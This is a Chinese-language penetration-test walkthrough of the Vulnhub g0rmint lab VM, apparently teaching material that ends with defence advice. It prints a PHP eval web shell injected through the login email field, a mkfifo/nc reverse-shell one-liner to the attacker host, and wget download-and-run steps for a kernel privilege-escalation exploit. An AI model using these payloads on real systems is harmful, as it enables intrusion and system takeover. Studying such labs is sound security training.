Vulnhub-g0rmint
字数 1686 2025-08-27 12:33:31

Vulnhub靶机g0rmint渗透测试教学文档

靶机信息

渗透测试流程

1. 主机发现与信息收集

步骤1: 使用arp-scan发现靶机IP

arp-scan -l

步骤2: 使用nmap进行端口扫描

nmap -sS -T4 -A -v -p1-50000 192.168.85.139

扫描结果显示开放了两个端口:

  • 80端口: HTTP服务
  • 其他端口: 根据实际情况

2. Web应用信息收集

步骤1: 检查robots.txt文件
访问http://192.168.85.139/robots.txt发现/g0rmint/目录

步骤2: 访问/g0rmint/目录
发现一个登录页面,尝试弱口令无果

步骤3: 查看HTML源代码
在源代码中发现可疑路径,但访问返回404

步骤4: 使用dirb进行目录爆破

dirb http://192.168.85.139/g0rmint/

发现s3cretbackupdirect0ry目录,其中包含backup.zip文件

3. 代码审计

文件结构分析
下载并解压backup.zip后,发现以下关键文件:

  • login.php
  • config.php
  • db.sql
  • reset.php
  • 其他相关文件

关键代码分析

  1. login.php中的登录逻辑
$email = $_POST['email'];
$pass = md5($_POST['pass']);
$sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass");
// ...
if(count($result) > 1) {
    // 登录成功逻辑
} else {
    $log = $email;
    $reason = "Failed login attempt detected with email: ";
    addlog($log, $reason);
}
  1. addlog函数分析
function addlog($log, $reason) {
    $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
    if(file_exists($myFile)) {
        // 追加日志
    } else {
        // 创建新日志文件并写入dummy.php内容
        fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
        // 追加日志
    }
    fclose($fh);
}
  1. db.sql中的初始数据
INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) 
VALUES (1, 'demo', 'demo@example.com', 'fe01ce2a7fbac8fafaed7c982a04e229');

MD5哈希fe01ce2a7fbac8fafaed7c982a04e229对应密码为demo

  1. reset.php中的密码重置逻辑
$password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
$password = md5($password);
$sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");

4. 漏洞利用

步骤1: 寻找有效用户凭证
在CSS文件中发现隐藏的用户名和邮箱:

  • 用户名: admin
  • 邮箱: admin@g0rmint.com

步骤2: 利用密码重置功能

  1. 使用找到的用户名和邮箱提交重置请求
  2. 页面会显示重置时间(如: Saturday 15th of September 2018 02:05:51 AM)
  3. 计算新密码:
echo substr(hash('sha1', 'Saturday 15th of September 2018 02:05:51 AM'), 0, 20);
// 输出: 9997d372a7af4f7a680b
  1. 计算MD5哈希:
echo md5('9997d372a7af4f7a680b');

步骤3: 登录系统
使用admin@g0rmint.com和计算出的MD5哈希值登录

5. 获取Webshell

步骤1: 利用日志记录功能注入PHP代码

  1. 在登录页面的邮箱字段输入:
<?php eval($_POST[_]); ?>
  1. 失败登录后会生成日志文件/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/[日期].php

步骤2: 访问日志文件并执行命令

  1. 访问生成的日志文件
  2. 通过POST参数执行命令

步骤3: 建立反向Shell

  1. 在Kali上监听:
nc -lvnp 8888
  1. 通过Webshell执行:
mkfifo /tmp/t; cat /tmp/t | /bin/sh -i 2>&1 | nc 192.168.85.134 8888 > /tmp/t

(注意URL编码)

6. 权限提升

步骤1: 系统信息收集

uname -a

发现系统为Ubuntu 16.04

步骤2: 查找本地提权漏洞
使用Linux内核漏洞CVE-2017-16995 (对应exploit编号44298)

步骤3: 编译并上传exploit

  1. 在攻击机编译:
gcc 44298.c -o exploit -static
  1. 在靶机下载:
wget http://192.168.85.134/exploit -O /tmp/exploit
  1. 赋予执行权限并运行:
chmod +x /tmp/exploit
/tmp/exploit

步骤4: 获取root权限
成功执行exploit后获得root shell

总结与防御建议

漏洞总结

  1. 敏感信息泄露

    • robots.txt暴露敏感目录
    • 源代码中硬编码凭证
    • CSS文件中隐藏用户信息
  2. 不安全的密码重置机制

    • 基于时间的可预测密码生成
    • 缺乏适当的验证机制
  3. 日志注入漏洞

    • 将用户输入直接写入PHP文件
    • 缺乏输入过滤和输出编码
  4. 系统漏洞

    • 未打补丁的内核漏洞

防御建议

  1. 保护敏感信息

    • 避免在客户端代码中存储敏感信息
    • 严格控制robots.txt内容
  2. 加强认证机制

    • 实现安全的密码重置流程
    • 使用强随机数生成临时密码
  3. 安全编码实践

    • 对所有用户输入进行严格过滤
    • 避免将用户输入直接写入可执行文件
  4. 系统维护

    • 定期更新系统和应用补丁
    • 实施最小权限原则
  5. 日志安全

    • 将日志存储在非web可访问目录
    • 对日志内容进行适当的编码处理

通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,强调了安全编码和系统维护的重要性。

Vulnhub靶机g0rmint渗透测试教学文档 靶机信息 靶机名称: g0rmint 难度等级: 中等 下载链接: https://www.vulnhub.com/entry/g0rmint-1,214/ 测试环境: VMware虚拟机 攻击机: Kali Linux (IP: 192.168.85.134) 靶机IP: 192.168.85.139 渗透测试流程 1. 主机发现与信息收集 步骤1: 使用arp-scan发现靶机IP 步骤2: 使用nmap进行端口扫描 扫描结果显示开放了两个端口: 80端口: HTTP服务 其他端口: 根据实际情况 2. Web应用信息收集 步骤1: 检查robots.txt文件 访问 http://192.168.85.139/robots.txt 发现 /g0rmint/ 目录 步骤2: 访问/g0rmint/目录 发现一个登录页面,尝试弱口令无果 步骤3: 查看HTML源代码 在源代码中发现可疑路径,但访问返回404 步骤4: 使用dirb进行目录爆破 发现 s3cretbackupdirect0ry 目录,其中包含 backup.zip 文件 3. 代码审计 文件结构分析 下载并解压backup.zip后,发现以下关键文件: login.php config.php db.sql reset.php 其他相关文件 关键代码分析 login.php中的登录逻辑 addlog函数分析 db.sql中的初始数据 MD5哈希 fe01ce2a7fbac8fafaed7c982a04e229 对应密码为 demo reset.php中的密码重置逻辑 4. 漏洞利用 步骤1: 寻找有效用户凭证 在CSS文件中发现隐藏的用户名和邮箱: 用户名: admin 邮箱: admin@g0rmint.com 步骤2: 利用密码重置功能 使用找到的用户名和邮箱提交重置请求 页面会显示重置时间(如: Saturday 15th of September 2018 02:05:51 AM ) 计算新密码: 计算MD5哈希: 步骤3: 登录系统 使用 admin@g0rmint.com 和计算出的MD5哈希值登录 5. 获取Webshell 步骤1: 利用日志记录功能注入PHP代码 在登录页面的邮箱字段输入: 失败登录后会生成日志文件 /g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/[日期].php 步骤2: 访问日志文件并执行命令 访问生成的日志文件 通过POST参数执行命令 步骤3: 建立反向Shell 在Kali上监听: 通过Webshell执行: (注意URL编码) 6. 权限提升 步骤1: 系统信息收集 发现系统为Ubuntu 16.04 步骤2: 查找本地提权漏洞 使用Linux内核漏洞CVE-2017-16995 (对应exploit编号44298) 步骤3: 编译并上传exploit 在攻击机编译: 在靶机下载: 赋予执行权限并运行: 步骤4: 获取root权限 成功执行exploit后获得root shell 总结与防御建议 漏洞总结 敏感信息泄露 robots.txt暴露敏感目录 源代码中硬编码凭证 CSS文件中隐藏用户信息 不安全的密码重置机制 基于时间的可预测密码生成 缺乏适当的验证机制 日志注入漏洞 将用户输入直接写入PHP文件 缺乏输入过滤和输出编码 系统漏洞 未打补丁的内核漏洞 防御建议 保护敏感信息 避免在客户端代码中存储敏感信息 严格控制robots.txt内容 加强认证机制 实现安全的密码重置流程 使用强随机数生成临时密码 安全编码实践 对所有用户输入进行严格过滤 避免将用户输入直接写入可执行文件 系统维护 定期更新系统和应用补丁 实施最小权限原则 日志安全 将日志存储在非web可访问目录 对日志内容进行适当的编码处理 通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,强调了安全编码和系统维护的重要性。